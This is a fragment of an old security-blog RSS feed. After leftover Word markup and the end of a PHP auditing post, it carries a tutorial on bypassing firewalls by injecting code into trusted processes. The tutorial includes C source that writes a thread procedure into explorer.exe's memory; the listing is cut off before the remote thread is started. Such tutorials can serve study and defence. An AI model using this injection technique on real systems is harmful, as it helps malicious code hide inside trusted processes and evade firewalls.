:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w :LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w :LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w :LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /><br />
<w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w :LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w :<br />
LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w :LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w :LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w :LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w :LsdException Locked="false" Priority="37" Name="Bibliography" /> <w :LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w> </xml>< ![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0cm; 	margin-right:0cm; 	margin-bottom:10.0pt; 	margin-left:0cm; 	text-align:right; 	line-height:115%; 	mso-pagination:widow-orphan; 	direction:rtl; 	unicode-bidi:embed; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt; 	line-height:115%;} @page Section1 	{size:612.0pt 792.0pt; 	margin:72.0pt 72.0pt 72.0pt 72.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> <mce :style>< !   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin-top:0cm; 	mso-para-margin-right:0cm; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin;} --> <!--[endif]--><!--[if gte mso 9]><xml> <o :shapedefaults v:ext="edit" spidmax="1026" /> </xml>< ![endif]--><!--[if gte mso 9]><xml> <o :shapelayout v:ext="edit"> <o :idmap v:ext="edit" data="1" /> </o></xml>< ![endif]--></p>
<p>Here is some of future talk and topics may I add this article in next version:<br />
1-    More Real world Attack with Description<br />
2-    PHPIDS Defense.<br />
3-    More Dangerous Functions: CURL – socket – creat_function &amp; ….<br />
4-    Talk About pear functions and security of used.<br />
5-     Information About Books of PHP Securea Coding.<br />
6-     And ETC</p>
<p><strong>Download :</strong></p>
<p><strong><a href="http://abysssec.com/blog/wp-content/uploads/2009/03/php-fuzzing-auditing-version-10.pdf">php-fuzzing-auditing-version-1.0</a></strong></p>
<p>thanks.</p>
<p>Daphne</mce></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Bypass firewall with Process Injection</title>
		<link>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/</link>
		<comments>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 20:52:52 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[Pen-test Method]]></category>
		<category><![CDATA[advisory]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=236</guid>
		<description><![CDATA[Hello Friends . First question is why Process  Injection ? in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Friends .</p>
<p>First question is why Process  Injection ?</p>
<p>in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or &#8230;  .  this Processes can connect to Internet very well [ often  ] .</p>
<p><strong>Process injection</strong> , <strong>Dll injection</strong> , <strong>&#8220;PE injection &#8220;</strong> are methods to bypass firewalls [This Methods called as  : Leak Firewall ] .</p>
<p>in dll injection , we injects dll  into an application process area, and references to his own 					malicious DLL to make firewall believes that it&#8217;s the application which is using the DLL .</p>
<p>Today when we talk about injection, we are talking about a DLL that is loaded into a running process’s memory.  as we know Windows  is now designed for this, and injection techniques can be used by any application.  Some applications use it to add features to a closed-source program [for example : Babylon Dictionary is One of them ] .</p>
<p>I,m not intend to talk about these [dll ,process Injection ] at this time . and i just want  talk about Process injection [ or hijack] to bypass firewalls .</p>
<p>Attention To modeling :</p>
<p><strong>Principle of application run [default ] :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png"><img class="alignnone size-full wp-image-240" title="principle-of-application-run" src="http://abysssec.com/blog/wp-content/uploads/2008/12/principle-of-application-run.png" alt="principle-of-application-run" width="350" height="247" /></a></p>
<p><strong>when inclusion of a dynamic library [dll]   :</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png"><img class="alignnone size-full wp-image-241" title="method-for-inclusion-of-a-dynamic-library" src="http://abysssec.com/blog/wp-content/uploads/2008/12/method-for-inclusion-of-a-dynamic-library.png" alt="method-for-inclusion-of-a-dynamic-library" width="302" height="138" /></a></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"> <span class="small">inserting malicious code in</span></span> <span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">the process of confidence :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject.png"><img class="alignnone size-medium wp-image-243" title="code-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/code-inject-300x136.png" alt="code-inject" width="300" height="136" /></a></span></span></p>
<p><strong><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small">Used internet Explorer [trusted Software ] for injection :</span></span></strong></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject.png"><img class="alignnone size-medium wp-image-244" title="used-from-browser-to-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/used-from-browser-to-inject-300x136.png" alt="used-from-browser-to-inject" width="300" height="136" /></a><br />
</span></span></p>
<p><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="small"><br />
</span></span></p>
<p><span id="src39" class="srcSentence">The following illustration shows the general Code injection  with windows API method [virtualAllocEX(),..]<br />
</span></p>
<p><span class="srcSentence"><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject.jpg"><img class="alignnone size-medium wp-image-237" title="kernel-process-inject" src="http://abysssec.com/blog/wp-content/uploads/2008/12/kernel-process-inject-242x300.jpg" alt="kernel-process-inject" width="242" height="300" /></a><br />
</span></p>
<p>how to Inject Process : [with C cod ]</p>
<p>for firewall bypass we have 4 part :</p>
<p>- Open one process “P”<br />
- Allocate memory remotely in “P” space<br />
- Copy the code to remote process<br />
- Create a thread to execute the code remotely<br />
<strong>[will happen]</strong></p>
<p><a href="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg"><img class="alignnone size-full wp-image-239" title="process-inject-map1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/process-inject-map1.jpg" alt="process-inject-map1" width="576" height="386" /></a></p>
<p><strong>Example Of Process Injection In EXPLORER.EXE [code ]:</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">&nbsp;
    <span style="color: #339933;">#pragma comment(lib,&quot;Shlwapi.lib&quot;)</span>
    <span style="color: #339933;">#pragma comment(lib,&quot;ADVAPI32.LIB&quot;)</span>
    <span style="color: #339933;">#include &lt;stdio.h&gt;</span>
    <span style="color: #339933;">#include &lt;windows.h&gt;</span>
    <span style="color: #339933;">#include &lt;Shlwapi.h&gt;</span>
    <span style="color: #339933;">#include &lt;tlhelp32.h&gt;</span>
    <span style="color: #339933;">#define INJECT_EXE  &quot;explorer.exe&quot;</span>
&nbsp;
    <span style="color: #993333;">typedef</span> <span style="color: #993333;">struct</span> _RPar
    <span style="color: #009900;">&#123;</span>
    DWORD dwDeleteFile<span style="color: #339933;">;</span>
    DWORD dwSleep<span style="color: #339933;">;</span>
    DWORD dwMessageBox<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> Filename<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> string2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> RPar<span style="color: #339933;">;</span>
    DWORD __stdcall ThreadProc<span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span>Para<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    FARPROC PDeleteFile <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwDeleteFile<span style="color: #339933;">;</span>
    FARPROC PSleep <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwSleep<span style="color: #339933;">;</span>
    FARPROC PMessageBox <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>FARPROC<span style="color: #009900;">&#41;</span>Para<span style="color: #339933;">-&gt;</span>dwMessageBox<span style="color: #339933;">;</span>
&nbsp;
    PMessageBox<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string1<span style="color: #339933;">,</span>Para<span style="color: #339933;">-&gt;</span>string2<span style="color: #339933;">,</span>MB_OK<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>PDeleteFile<span style="color: #009900;">&#40;</span>Para<span style="color: #339933;">-&gt;</span>Filename<span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>PSleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #993333;">int</span> _stdcall WinMain<span style="color: #009900;">&#40;</span>HINSTANCE hInst<span style="color: #339933;">,</span> HINSTANCE hPrevInst<span style="color: #339933;">,</span> LPSTR lpCmd<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> nCmdShow<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    DWORD dwThreadId<span style="color: #339933;">,</span>pID<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>dwThreadSize<span style="color: #339933;">=</span><span style="color: #0000dd;">2048</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>pRemoteThread<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> ExeFile<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    HANDLE hProcess<span style="color: #339933;">,</span>hSnap<span style="color: #339933;">;</span>
    HINSTANCE hKernel<span style="color: #339933;">,</span> hUser<span style="color: #339933;">;</span>
    RPar my_RPar<span style="color: #339933;">,*</span>pmy_RPar<span style="color: #339933;">;</span>
    PROCESSENTRY32 pe32 <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>hSnap <span style="color: #339933;">=</span>CreateToolhelp32Snapshot<span style="color: #009900;">&#40;</span>TH32CS_SNAPPROCESS<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>
    pe32.<span style="color: #202020;">dwSize</span> <span style="color: #339933;">=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>PROCESSENTRY32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    Process32First<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> StrCmpNI<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #339933;">,</span>pe32.<span style="color: #202020;">szExeFile</span><span style="color: #339933;">,</span>strlen<span style="color: #009900;">&#40;</span>INJECT_EXE<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
    pID<span style="color: #339933;">=</span>pe32.<span style="color: #202020;">th32ProcessID</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>Process32Next<span style="color: #009900;">&#40;</span>hSnap<span style="color: #339933;">,&amp;</span>pe32<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> hSnap <span style="color: #339933;">!=</span> INVALID_HANDLE_VALUE <span style="color: #009900;">&#41;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hSnap<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hProcess <span style="color: #339933;">=</span> OpenProcess<span style="color: #009900;">&#40;</span>PROCESS_ALL_ACCESS<span style="color: #339933;">,</span>FALSE<span style="color: #339933;">,</span>pID<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pRemoteThread <span style="color: #339933;">=</span> VirtualAllocEx<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span> MEM_COMMIT <span style="color: #339933;">|</span> MEM_RESERVE<span style="color: #339933;">,</span>PAGE_EXECUTE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess<span style="color: #339933;">,</span> pRemoteThread<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>ThreadProc<span style="color: #339933;">,</span> dwThreadSize<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    ZeroMemory<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    hKernel <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;kernel32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwDeleteFile</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;DeleteFileA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwSleep</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hKernel<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Sleep&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
